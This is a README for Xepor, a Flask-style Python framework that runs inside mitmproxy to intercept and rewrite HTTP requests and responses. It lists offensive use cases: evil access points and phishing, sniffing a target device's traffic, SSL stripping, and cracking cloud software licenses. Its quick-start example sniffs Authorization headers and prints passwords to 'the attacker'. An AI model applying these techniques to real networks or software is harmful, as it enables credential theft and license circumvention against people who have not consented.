Xepor

Xepor (pronounced /ˈzɛfə/, zephyr) is a web routing framework for reverse engineers and security researchers. It provides a Flask-like API for hackers to intercept and modify HTTP requests and/or HTTP responses in a human-friendly coding style.

This project is meant to be used with mitmproxy. Users write scripts with xepor, and run the script inside mitmproxy with mitmproxy -s your-script.py.

If you want to step from PoC to production, from demo(e.g. http-reply-from-proxy.py, http-trailers.py, http-stream-modify.py) to something you could take out with your WiFi Pineapple, then Xepor is for you!

Features

1. Code everything with @api.route(), just like Flask! Write everything in one script and no if..else any more.
2. Handle multiple URL routes, even multiple hosts in one InterceptedAPI instance.
3. For each route, you can choose to modify the request before connecting to server (or even return a fake response without connection to upstream), or modify the response before forwarding to user.
4. Blacklist mode or whitelist mode. Only allow URL endpoints defined in scripts to connect to upstream, blocking everything else (in specific domains) with HTTP 404. Suitable for transparent proxying.
5. Human readable URL path definition and matching powered by parse
6. Host remapping. define rules to redirect to genuine upstream from your fake hosts. Regex matching is supported. Best for SSL stripping and server-side license cracking!
7. Plus all the bests from mitmproxy! ALL operation modes ( mitmproxy / mitmweb + regular / transparent / socks5 / reverse:SPEC / upstream:SPEC) are fully supported.

Use Case

1. Evil AP and phishing through MITM.
2. Sniffing traffic from target device by iptables + transparent proxy, modify the payload with xepor on the fly.
3. Cracking cloud-based software license. See examples/krisp/ as an example.
4. Write a complicated web crawler in ~100 lines of code. See examples/polyv_scrapper/ as an example.
5. ... and many more.

SSL stripping is NOT provided by this project.

Installation

pip install xepor

Quick start

Take the script from examples/httpbin as an example.

mitmweb -s example/httpbin/httpbin.py

Set your Browser HTTP Proxy to http://127.0.0.1:8080, and access the web interface at http://127.0.0.1:8081/.

Send a GET request from http://httpbin.org/#/HTTP_Methods/get_get , Then you could see the modification made by Xepor in mitmweb interface, browser dev tools or Wireshark.

The httpbin.py do two things.

1. When user access http://httpbin.org/get, inject a query string parameter payload=evil_param inside HTTP request.
2. When user access http://httpbin.org/basic-auth/xx/xx/ (we just pretend we don't know the password), sniff Authorization headers from HTTP requests and print the password to the attacker.

Just what mitmproxy always does, but with code written in xepor way.
